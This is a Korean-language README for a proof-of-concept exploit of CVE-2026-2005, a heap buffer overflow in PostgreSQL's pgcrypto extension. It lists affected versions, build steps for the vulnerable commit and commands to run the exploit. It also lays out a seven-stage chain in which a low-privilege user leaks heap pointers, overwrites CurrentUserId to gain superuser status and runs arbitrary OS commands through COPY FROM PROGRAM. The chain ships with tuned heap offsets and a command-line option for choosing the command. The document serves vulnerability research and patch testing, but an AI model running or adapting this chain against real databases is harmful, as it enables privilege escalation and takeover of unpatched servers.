
PostgreSQL pgcrypto 힙 버퍼 오버플로우 PoC: CVE-2026-2005 시연 — 저권한 RCE 및 조작된 OpenPGP 패킷을 통한 슈퍼유저 권한 상승.
대상 커밋: 4b324845ba5d24682b9b3708a769f00d160afbd7 (PostgreSQL 18.1 — 취약 버전)
| 필드 | 세부 사항 |
|---|---|
| CVE | CVE-2026-2005 |
| 유형 | 힙 버퍼 오버플로우 |
| 구성 요소 | contrib/pgcrypto/pgp-pubdec.c — pgp_parse_pubenc_sesskey() |
| 영향 | PostgreSQL을 실행하는 OS 사용자 권한으로 RCE |
| CVSS | 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| 필요 인증 | 낮음 — CREATE 권한이 있는 모든 인증 사용자 |
| 영향 버전 | PostgreSQL 14.0–14.20, 15.0–15.15, 16.0–16.11, 17.0–17.7, 18.0–18.1 |
| 수정 버전 | 14.21, 15.16, 16.12, 17.8, 18.2 (2026년 2월 12일) |
| 아키텍처 | aarch64 (ARM64) — 힙 오프셋과 MBuf 레이아웃은 아키텍처/glibc에 따라 다름 |
# PostgreSQL 18.1(취약 버전) 빌드 및 시작
docker compose up -d --build
# healthy 상태 대기
docker compose logs -f postgres
# "database system is ready to accept connections" 메시지가 보이면 Ctrl+C
# 1회성 설정: 오프라인 심볼 파싱을 위해 postgres 바이너리 복사
docker cp cve-2026-2005-poc:/usr/local/pgsql/bin/postgres ./postgres
# node 의존성 설치
npm install
# 전체 RCE 익스플로잇 체인 실행 (순수 SQL — Docker 상호작용 없음)
node exploit.js --cmd "id"
# 상세 출력 포함
node exploit.js --cmd "id" --verbose
# 사용자 정의 명령 실행
node exploit.js --cmd "whoami"
Stage 1: 힙 포인터 누출
└─ mdst 청크 헤더 손상 → pfree() 오류 메시지 파싱
Stage 2: 임의 읽기 (멀티 윈도우 스캔)
└─ mdst->data 덮어쓰기 → 누출된 포인터 주변 메모리 스캔
Stage 3: 포인터 후보 수집
└─ 힙 덤프에서 포인터 형태의 8바이트 값 스캔
Stage 4: PIE 베이스 해석
└─ ELF 심볼 오프셋에 대해 누출된 주소 투표 (페이지 오프셋
그룹화, 오프라인 — 로컬 바이너리 복사본에서 심볼 파싱)
Stage 5: PIE 검증
└─ 후보 베이스에서 CurrentUserId 임의 읽기 → 세션 OID와 비교
Stage 6: 임의 쓰기
└─ msrc + mdst MBuf 위조 → CurrentUserId 덮어쓰기 → 10 (슈퍼유저)
Stage 7: 명령 실행
└─ COPY FROM PROGRAM → postgres 사용자 권한으로 임의 OS 명령 실행
CVE-2026-2005/
├── Dockerfile # 소스에서 PostgreSQL 18.1 빌드
├── docker-compose.yml # 자동 재시작이 포함된 PostgreSQL 서비스
├── init.sh # 엔트리포인트 — initdb + listen 설정
├── README.md # 이 파일
└── poc/
├── package.json # Node.js 의존성 (pg)
├── exploit.js # 전체 7단계 RCE 익스플로잇 (Node.js)
├── verify.sh # 셸 기반 빠른 검증
└── test-pgcrypto.sql # pgcrypto 로딩의 SQL 전용 테스트
git clone https://github.com/postgres/postgres.git
cd postgres
git checkout 4b324845ba5d24682b9b3708a769f00d160afbd7
./configure \
--prefix="$HOME/projects/pg/pgsql" \
--with-libxml \
--with-libxslt \
--enable-debug \
--with-ssl=openssl
make -j$(nproc)
make install-world-bin
tmux (선택 사항 — --gdb 플래그 사용 시에만 필요)버그는 contrib/pgcrypto/pgp-pubdec.c의 pgp_parse_pubenc_sesskey()에 있습니다.
OpenPGP 공개 키 암호화 세션 키 패킷(태그 1)을 파싱할 때:
memcpy합니다memcpy는 힙 버퍼 경계를 넘어 쓸 수 있으며, 인접한 힙 메타데이터나
데이터를 손상시켜 임의 코드 실행으로 이어질 수 있습니다.
pfree() 오류 메시지를
파싱하여 mdst->data 힙 주소 추출./proc/<pid>/maps를 읽어
런타임에 postgres 바이너리의 로드 주소를 찾습니다.msrc(소스)와 mdst(대상) MBuf
구조체를 모두 위조합니다. msrc는 슈퍼유저 OID(10)를 포함하는 내장
symenc 패킷을 가리키고, mdst는 CurrentUserId - 4를 가리킵니다
(4바이트 SET_VARSIZE 헤더를 고려).CurrentUserId = 10(부트스트랩 슈퍼유저)으로
COPY FROM PROGRAM을 실행하여 임의 OS 명령을 실행합니다.pgcrypto 확장은 신뢰됨(trusted) — CREATE 권한이 있는 모든 사용자
(슈퍼유저 아님)가 설치할 수 있어 낮은 권한으로 익스플로잇이 가능합니다.--enable-debug가 포함되어 있습니다.SRC_CHUNK_OFFSET=100, DST_CHUNK_OFFSET=172)은
aarch64 + glibc에 특화되어 있습니다 — 다른 아키텍처/할당자는 다른 오프셋이 필요합니다.CurrentUserId를 읽어 확인합니다.| 플래그 | 기본값 | 설명 |
|---|
--cmd | id | 익스플로잇 성공 후 실행할 OS 명령 |
--key-size | 3072 | RSA 키 크기(비트) |
--host | 127.0.0.1 | PostgreSQL 호스트 |
--port | 5432 | PostgreSQL 포트 |
--user | postgres | 데이터베이스 사용자 |
--password | (비어 있음) | 데이터베이스 비밀번호 |
--dbname | postgres | 데이터베이스 이름 |
--binary | ./postgres | 심볼용 postgres ELF 바이너리 경로 |
--scan-offset | 자동 | 누출된 포인터에서 힙 스캔 오프셋 재정의 |
--verbose | 꺼짐 | 상세 디버그 출력 활성화 |
--gdb | 꺼짐 | 오버플로우 지점에서 tmux를 통해 GDB 연결 |